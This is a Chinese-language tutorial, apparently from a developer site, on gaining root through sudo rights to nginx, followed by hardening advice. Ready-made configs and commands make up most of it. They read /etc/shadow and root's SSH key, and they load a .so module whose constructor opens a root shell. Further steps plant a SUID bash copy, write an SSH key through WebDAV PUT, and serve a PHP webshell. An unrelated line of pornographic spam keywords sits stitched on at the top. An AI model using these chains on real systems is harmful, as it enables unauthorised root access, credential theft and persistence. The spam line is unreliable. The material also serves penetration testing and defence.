欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Nginx配置文件提權(quán)的實(shí)戰(zhàn)指南

 更新時(shí)間:2025年09月23日 09:33:42   作者:vortex5  
在現(xiàn)代 Linux 系統(tǒng)中,nginx 通常作為 Web 服務(wù)的核心組件運(yùn)行,其支持的模塊化配置、靈活的路徑設(shè)置以及多樣的文件解析能力,本文結(jié)合一次真實(shí)場(chǎng)景,給大家介紹如何通過(guò)配置文件完成提權(quán)操作進(jìn)行深入剖析,需要的朋友可以參考下

在現(xiàn)代 Linux 系統(tǒng)中,nginx 通常作為 Web 服務(wù)的核心組件運(yùn)行,其支持的模塊化配置、靈活的路徑設(shè)置以及多樣的文件解析能力,為滲透測(cè)試人員在本地提權(quán)過(guò)程中提供了豐富的攻擊面。

本文結(jié)合一次真實(shí)場(chǎng)景,對(duì) nginx 在具有 sudo 權(quán)限的情況下,如何通過(guò)配置文件完成提權(quán)操作進(jìn)行深入剖析,涵蓋 任意文件讀取、模塊加載執(zhí)行、本地提權(quán)、遠(yuǎn)程命令執(zhí)行等關(guān)鍵鏈路。

場(chǎng)景復(fù)現(xiàn)

目標(biāo)系統(tǒng)中,普通用戶 mikannse 通過(guò) sudo -l 被發(fā)現(xiàn)擁有以下權(quán)限:

User mikannse may run the following commands on Config:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

該權(quán)限意味著:mikannse 用戶可以以 root 身份運(yùn)行nginx,那么我們就可以利用nginx配置文件來(lái)提權(quán)。

利用鏈一:任意文件讀?。ㄐ畔⑿孤叮?/h2>

原理說(shuō)明

Nginx 中的 root 指令和 location 配置可以將系統(tǒng)任意目錄暴露為 Web 路徑,當(dāng)以 user root; 身份啟動(dòng) nginx 時(shí),即可突破系統(tǒng)權(quán)限訪問(wèn)敏感文件。

惡意配置示例

user root;

events {}

http {
    server {
        listen 8080;

        location / {
            root /;
            autoindex on;
        }
    }
}

效果驗(yàn)證

通過(guò)瀏覽器或 curl 工具訪問(wèn):

curl http://127.0.0.1:8080/root/.ssh/id_rsa
curl http://127.0.0.1:8080/etc/shadow

可直接讀取系統(tǒng)中的任意文件,包括 私鑰、shadow 文件、歷史命令記錄等敏感信息

利用鏈二:動(dòng)態(tài)模塊加載提權(quán)(本地權(quán)限提升)

原理說(shuō)明

Nginx 支持通過(guò) load_module 加載 .so 動(dòng)態(tài)鏈接庫(kù)模塊,而這些模塊本質(zhì)上是標(biāo)準(zhǔn)的 ELF 文件,可以包含任意 C 語(yǔ)言構(gòu)造函數(shù)代碼。一旦以 root 身份加載,便可執(zhí)行任意系統(tǒng)命令。

依賴條件

  • 系統(tǒng)具備 gcc 編譯環(huán)境
  • 當(dāng)前用戶擁有寫(xiě)入配置與模塊的權(quán)限
  • 擁有以 root 身份加載配置的能力(sudo)

構(gòu)造流程

編寫(xiě)模塊代碼(rootme.c):

#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor))
void pwn() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}

編譯為動(dòng)態(tài)模塊:

gcc -fPIC -shared -o /home/mikannse/rootme.so rootme.c

編寫(xiě)惡意 nginx 配置文件(mikannse.conf):

load_module /home/mikannse/rootme.so;

events {}

http {}

啟動(dòng) nginx 加載模塊:

sudo /usr/sbin/nginx -c /home/mikannse/mikannse.conf

一旦模塊被加載,構(gòu)造函數(shù)立即觸發(fā),執(zhí)行 /bin/bash -p,直接獲得一個(gè) root shell。

提示

模塊執(zhí)行方式是立即型的,若不希望 nginx 守護(hù)進(jìn)程化導(dǎo)致 shell 消失,可在模塊中執(zhí)行持久化操作,如寫(xiě)入 SUID 文件:

system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");

利用鏈三:任意文件寫(xiě)入(PUT 方法 + 持久化)

原理說(shuō)明

Nginx 支持通過(guò) ngx_http_dav_module 開(kāi)啟 WebDAV PUT 功能,實(shí)現(xiàn) HTTP 請(qǐng)求寫(xiě)入本地文件。攻擊者可通過(guò)此方式將 payload 寫(xiě)入系統(tǒng)敏感位置(如 .ssh/authorized_keys、/etc/passwd、/etc/sudoers 等),從而實(shí)現(xiàn)持久化控制或提權(quán)

示例配置:

user root;

events {}

http {
    server {
        listen 8081;

        location /upload/ {
            root /root/.ssh/;
            dav_methods PUT;
            create_full_put_path on;
            client_body_temp_path /tmp;
        }
    }
}

利用方法:

上傳 SSH 公鑰:

curl -T id_rsa.pub http://127.0.0.1:8081/upload/authorized_keys

然后使用對(duì)應(yīng)私鑰 SSH 登錄獲取 root 權(quán)限。

利用鏈四:?jiǎn)⒂媚_本解析(遠(yuǎn)程命令執(zhí)行)

原理說(shuō)明

如果目標(biāo)系統(tǒng)安裝了 PHP 與 php-fpm,攻擊者可將 nginx 配置為支持 .php 腳本解析,通過(guò)上傳 webshell 實(shí)現(xiàn) RCE(遠(yuǎn)程命令執(zhí)行)。

示例配置:

user root;

events {}

http {
    server {
        listen 8082;
        root /home/mikannse/www;
        index index.php;

        location ~ \.php$ {
            fastcgi_pass unix:/run/php/php7.4-fpm.sock;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
            include fastcgi_params;
        }
    }
}

上傳 PHP Webshell:

<?php system($_GET['cmd']); ?>

訪問(wèn):

http://127.0.0.1:8082/shell.php?cmd=id

即可實(shí)現(xiàn)任意系統(tǒng)命令執(zhí)行。

利用鏈對(duì)比總結(jié)

利用方式所需條件影響范圍持久化能力
任意文件讀取user root + 監(jiān)聽(tīng)端口整個(gè)系統(tǒng)文件?
模塊加載提權(quán)gcc + sudo 啟動(dòng) nginx獲得 root shell?(寫(xiě)入 suid)
PUT 文件寫(xiě)入dav_methods 開(kāi)啟寫(xiě)入任意系統(tǒng)路徑?(植入 key)
腳本執(zhí)行 RCE安裝 php-fpm執(zhí)行任意命令?

防御建議

從防守角度出發(fā),針對(duì)上述攻擊鏈提出以下建議:

最小化 sudo 權(quán)限:

  • 嚴(yán)格限制 sudo nginx -c 權(quán)限,僅授予可信用戶或采用 wrapper 限定路徑。

禁用模塊加載功能:

  • 在編譯 nginx 時(shí)禁用 --with-dynamic-module
  • 或配置 /usr/sbin/nginx 為不可執(zhí)行模塊加載路徑。

刪除開(kāi)發(fā)工具鏈:

  • 移除生產(chǎn)環(huán)境中不必要的 gcc、make,降低本地模塊構(gòu)造能力。

配置最小權(quán)限用戶運(yùn)行 nginx:

  • 避免使用 user root 啟動(dòng)服務(wù),限制文件系統(tǒng)訪問(wèn)權(quán)限。

禁止 PUT/DAV 寫(xiě)入:

  • 禁用 dav_methods,關(guān)閉 nginx 對(duì) HTTP PUT 的支持。

強(qiáng)化 PHP-FPM 安全配置:

  • 禁止處理未知目錄或不受信任路徑。
  • 啟用 open_basedir 限制。

結(jié)語(yǔ)

nginx 是一個(gè)功能強(qiáng)大但配置靈活的 Web 服務(wù)器,其 -c 參數(shù)在擁有 sudo 權(quán)限時(shí)可能帶來(lái)嚴(yán)重的安全隱患。一旦攻擊者能加載自定義配置文件,將可能導(dǎo)致從文件泄露、系統(tǒng)提權(quán)到遠(yuǎn)程代碼執(zhí)行的一整條攻擊鏈成立。

在安全加固方面,企業(yè)應(yīng)以“最小權(quán)限原則”和“攻擊面最小化”為核心,避免將復(fù)雜服務(wù)的控制權(quán)下放至普通用戶層級(jí),及時(shí)審計(jì)和收斂類似配置權(quán)限,降低被攻擊面。

以上就是Nginx配置文件提權(quán)的實(shí)戰(zhàn)指南的詳細(xì)內(nèi)容,更多關(guān)于Nginx配置文件提權(quán)的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • 利用nginx訪問(wèn)日志如何記錄mysql中的用戶id詳解

    利用nginx訪問(wèn)日志如何記錄mysql中的用戶id詳解

    這篇文章主要給大家介紹了關(guān)于利用nginx訪問(wèn)日志如何記錄mysql中用戶id的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面跟著小編一起來(lái)學(xué)習(xí)學(xué)習(xí)吧。
    2017-07-07
  • Nginx日志配置及狀態(tài)監(jiān)控方式解讀

    Nginx日志配置及狀態(tài)監(jiān)控方式解讀

    文章詳細(xì)介紹了Nginx的配置技巧,包括日志配置(如access_log、log_format等模塊)、狀態(tài)監(jiān)控(如stub_status_model編譯選項(xiàng))以及高級(jí)配置(如log_not_found、log_subrequest等),幫助用戶全面掌握Nginx的日志管理和狀態(tài)監(jiān)控方法
    2025-09-09
  • win10上安裝nginx的方法步驟

    win10上安裝nginx的方法步驟

    這篇文章主要介紹了win10上安裝nginx的方法步驟,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2019-10-10
  • Nginx可視化管理軟件NginxProxyManager的使用

    Nginx可視化管理軟件NginxProxyManager的使用

    NginxProxyManager是一款基于Nginx的開(kāi)源可視化管理工具,支持通過(guò)WebUI簡(jiǎn)易管理Nginx服務(wù)器,支持DockerCompose快速部署在Linux、Windows、macOS上,提供SSL證書(shū)獲取、多代理管理等功能,感興趣的可以了解一下
    2024-11-11
  • Nginx gateway集群和動(dòng)態(tài)網(wǎng)關(guān)的實(shí)現(xiàn)思路

    Nginx gateway集群和動(dòng)態(tài)網(wǎng)關(guān)的實(shí)現(xiàn)思路

    這篇文章主要介紹了Nginx gateway集群和動(dòng)態(tài)網(wǎng)關(guān),動(dòng)態(tài)網(wǎng)關(guān)即任何配置都實(shí)現(xiàn)不用重啟網(wǎng)關(guān)服務(wù)器都可以及時(shí)刷新,對(duì)Nginx gateway集群相關(guān)知識(shí)感興趣的朋友一起看看吧
    2022-10-10
  • Nginx搭建RTMP流媒體服務(wù)器的實(shí)現(xiàn)

    Nginx搭建RTMP流媒體服務(wù)器的實(shí)現(xiàn)

    本文主要介紹了Nginx搭建RTMP流媒體服務(wù)器的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2022-07-07
  • 在Nginx中如何為頁(yè)面配置用戶名密碼認(rèn)證訪問(wèn)

    在Nginx中如何為頁(yè)面配置用戶名密碼認(rèn)證訪問(wèn)

    這篇文章主要介紹了在Nginx中如何為頁(yè)面配置用戶名密碼認(rèn)證訪問(wèn)的問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2025-06-06
  • 權(quán)限問(wèn)題導(dǎo)致Nginx 403 Forbidden錯(cuò)誤的解決方法

    權(quán)限問(wèn)題導(dǎo)致Nginx 403 Forbidden錯(cuò)誤的解決方法

    這篇文章主要介紹了權(quán)限問(wèn)題導(dǎo)致Nginx 403 Forbidden錯(cuò)誤的解決方法,本文中導(dǎo)致 403 Forbidden錯(cuò)誤的原因是配置文件中沒(méi)有指明一個(gè)用戶,需要的朋友可以參考下
    2014-08-08
  • nginx支持codeigniter的pathinfo模式url重寫(xiě)配置寫(xiě)法示例

    nginx支持codeigniter的pathinfo模式url重寫(xiě)配置寫(xiě)法示例

    這篇文章主要介紹了nginx支持codeigniter的pathinfo模式url重寫(xiě)配置寫(xiě)法示例,pathinfo模式是一種開(kāi)發(fā)框架都愛(ài)用的路由模式,需要的朋友可以參考下
    2014-07-07
  • 通過(guò)nginx實(shí)現(xiàn)方向代理過(guò)程圖解

    通過(guò)nginx實(shí)現(xiàn)方向代理過(guò)程圖解

    這篇文章主要介紹了通過(guò)nginx實(shí)現(xiàn)方向代理過(guò)程圖解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-02-02

最新評(píng)論